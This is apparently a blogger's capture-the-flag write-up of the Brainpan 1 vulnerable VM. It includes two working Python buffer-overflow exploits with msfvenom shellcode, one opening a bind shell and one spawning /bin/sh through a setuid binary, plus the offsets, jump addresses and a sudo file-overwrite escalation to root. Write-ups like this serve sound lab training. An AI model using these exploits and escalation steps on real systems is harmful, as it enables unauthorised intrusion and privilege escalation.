Buffer Overflow Fun with Brainpan 1

Brainpan 1 is a vulnerable VM by @superkojiman and was posted to Vulnhub back in 2013. I picked it at random while browsing through some of the older entries, looking for my next target. There is minimal information provided in advance, so it's a really black-box challenge. Great! Let's see what we can do with this ...

Nmap revealed an interesting result - just two, unusual ports open and something weird going on with one of them:


Checking them both out with a web browser, I got the following back:


9999 looked interesting so I fired up netcat and spent a bit of time interacting with the service:


Ok so it was clear that this was an important service but without a password I wasn't going to get very far. I switched attention to the Python SimpleHTTP server on port 10000 and, after a quick look at view-source, decided that brute forcing some further files and/or directories was going to be required. I quickly discovered a /bin/ directory and within that a file called "brainpan.exe" which I then downloaded.


Hmmm. Interesting to see a Windows executable on a Linux server. I opened it with Wine on my Kali box to see what it did:


Port 9999? Interesting - I thought I could see where this was going, so decided to test my theory ...



Great - so as expected, I now had a local copy of the service running on port 9999 on the target. In the absence of any other avenues of interest it now seemed clear to me that the way forward was to extract the password from the local copy of the binary and then login remotely. I ran strings on the file and one word - "shitstorm" - seemed out of place:


Could this be the password? Only one way to find out  ....


Right, ok. So that was the right password but it actually did me no good whatsoever as I was immediately booted out. At this point I began to wonder if this was a buffer overflow challenge. After some quick experimentation I found I could crash the program by supplying a password consisting of 1000 characters and it looked like my input of multiple \x41 (A) characters was overwriting memory addresses.


Perfect, the buffer overflow approach now seemed like very promising avenue to explore. I copied the exe file over to my Windows VM, loaded it up in Immunity Debugger and again passed it 1000 bytes of input. With the insight provided by Immunity, I could see straightaway that 4 bytes of the input I had provided had overwritten the EIP register:


With a little experimentation I found out that EIP would be overwritten with whatever was at bytes 524-527, in this case 4 capital Bs (\x42):


At this point, I knew I was able to control program flow and have the binary execute whatever instructions I could pass it. Although I was working on localhost, obviously the real goal was the instance running on the target on port 9999. So, if I could generate a shell locally then in theory I should be able to create a shell on the target. Even better was that at the point of the crash, ESP was pointing right to the start of my payload of capital Cs (\x43):


Using mona.py I was able to establish that the binary had not been compiled with any protection such as address space layout randomisation and so now it was just a question of finding a suitable JMP ESP instruction to replace my \x42 characters. 


On my Windows VM 76FD09DB seemed like a good bet but then I remembered just in time that my real target was running on Linux! Time to go back to Kali and find a JMP ESP using OllyDbg:


Squinting in just the right way at the tiny, blurry output I found my new JMP ESP instruction at address 311712F3. This done,  I used msfvenom to generate a bind shell on port 4444 as my payload using the following command:

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b "\x00" –e x86/shikata_ga_nai

This generated a pleasingly small payload size of 105 bytes and I was now ready to try out my exploit on my local machine. My exploit code was as follows:

#!/usr/bin/python
import sys, socket

if len(sys.argv) < 2:
    print "\nUsage: " + sys.argv[0] + " \n"
    sys.exit()

# offset is 523
# 311712F3   . FFE4           JMP ESP

payload = (
"\xdb\xc9\xbf\x83\x7c\x5e\xf6\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x14\x31\x78\x19\x83\xe8\xfc\x03\x78\x15\x61\x89\x6f\x2d\x92"
"\x91\xc3\x92\x0f\x3c\xe6\x9d\x4e\x70\x80\x50\x10\x2a\x13\x39"
"\x78\xcf\xab\xac\x24\xa5\xbb\x9f\x84\xb0\x5d\x75\x42\x9b\x50"
"\x0a\x03\x5a\x6f\xb8\x17\xed\x09\x73\x97\x4e\x66\xed\x5a\xd0"
"\x15\xab\x0e\xee\x41\x81\x4e\x59\x0b\xe1\x26\x75\xc4\x62\xde"
"\xe1\x35\xe7\x77\x9c\xc0\x04\xd7\x33\x5a\x2b\x67\xb8\x91\x2c"
)

hax = "\x41" * 523 + "\xF3\x12\x17\x31" + "\x90" * 16 + payload + "\x43" * 358

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 9999))
s.send(hax)
s.recv(1024)
s.close()

A quick before and after netstat showed that I had successfully opened up port 4444 on my local machine:


Fantastic. So now without any further delay it was time to fire the exploit at the target and keep fingers crossed that it would open up on port 4444:


Mwahahaha! So it worked and now I was puck. As ever, the elation was short-lived as I knew the real hard work was probably about to start. To cut a long story short, enumeration on the target really only revealed two things of interest. First of all, there was a user called anansi and this user had a world-executable ELF binary with the sticky bit set:


Next, our user puck had sudo access to another file owned by anansi, which was currently inaccessible:


Ok, so now I thought I could see where this was going. I already had a nasty feeling that it was going to be necessary to break out the debuggers again and some experimentation with the validate binary just confirmed that:


Although I could pass it arbitrary commands and have it execute them, they were always done with the permissions of the puck user which got me nowhere. So I downloaded a local copy of the validate  program and then used Evans Debugger and a modified version of my earlier exploit to experiment with it.

I won't go into too many details here, but after a few hours of experimentation I had made the the following observations:
  1. It was possible to crash the application with 116 bytes of input

  2. Although I could get the crash to apparently land at the start of my exploit code based on an unchanging JMP ESP address, the jump was never made and this seemed to be a dead-end

  3. The EAX register at the point of the crash pointed straight to the start of my input, which as usual was a whole heap of \x41bytes. By including my payload at the start of my buffer and using a JMP EAX instead of a JMP ESP I could get code execution

  4. BUT .... despite having room (just about) for another bind shell and despite apparently successfully opening up another local port when running my exploit, every connection to that port from Kali was immediately booted out for reasons which, at the time of writing, I have not investigated
So putting all this together, and despite my failures so far, I knew I definitely had control of the program and, as it was running with the sticky bit set, anything I could get it to do would be done with anansi's permissions. This of course was my goal as I knew I had sudo access with no password to the anansi_util file in anansi's home directory.

So at this point I changed strategy with the payload. Instead of embedding shell code I decided to simply have the exploit execute a shell for me using a BASH command. My new exploit code looked like this:

#!/usr/bin/python

# msfvenom -p linux/x86/exec CMD="/bin/sh" -b "\x00" -f c
# 70 bytes
payload = ("\xda\xc5\xbf\x7c\x8b\x5e\xf4\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x0b\x31\x7a\x1a\x83\xea\xfc\x03\x7a\x16\xe2\x89\xe1\x55\xac"
"\xe8\xa4\x0f\x24\x27\x2a\x59\x53\x5f\x83\x2a\xf4\x9f\xb3\xe3"
"\x66\xf6\x2d\x75\x85\x5a\x5a\x8d\x4a\x5a\x9a\xa1\x28\x33\xf4"
"\x92\xdf\xab\x08\xba\x4c\xa2\xe8\x89\xf3")

# CALL EAX 080484af

# 116 bytes to trigger the overflow
args = payload + ("\x41" * 46) + "\xaf\x84\x04\x08" + ("\x43" * 279) + "\r\n"

#call(["edb", "--run", "/root/Desktop/validate", args])

from subprocess import call
call(["/usr/local/bin/validate", args])

import sys
sys.exit()

I used wget to transfer my exploit to the target and executed it. After having so many problems with this part of the challenge it was a massive relief to see it finally succeed:


Ok, so now it was time to check out the file noted earlier at /home/anansi/bin/anansi_util. A quick "file" command revealed that it was an ELF 32-bit LSB executable and it was clear there was probably now an easy way to get root. I simply overwrote the file with a "/bin/bash" command and executed sudo /home/anansi/bin/anansi_util


After a lot of frustration on the second buffer overflow I had finally rooted it! This was another great challenge and very similar to the buffer overflow challenges I encountered on PWK.  Now that it's done I'm really looking forward to seeing how other people did it. Thanks to @superkojiman for a great VM!


Comments

Popular posts from this blog

Real World Web Application Security Testing

Modelling Security Concepts with Archimate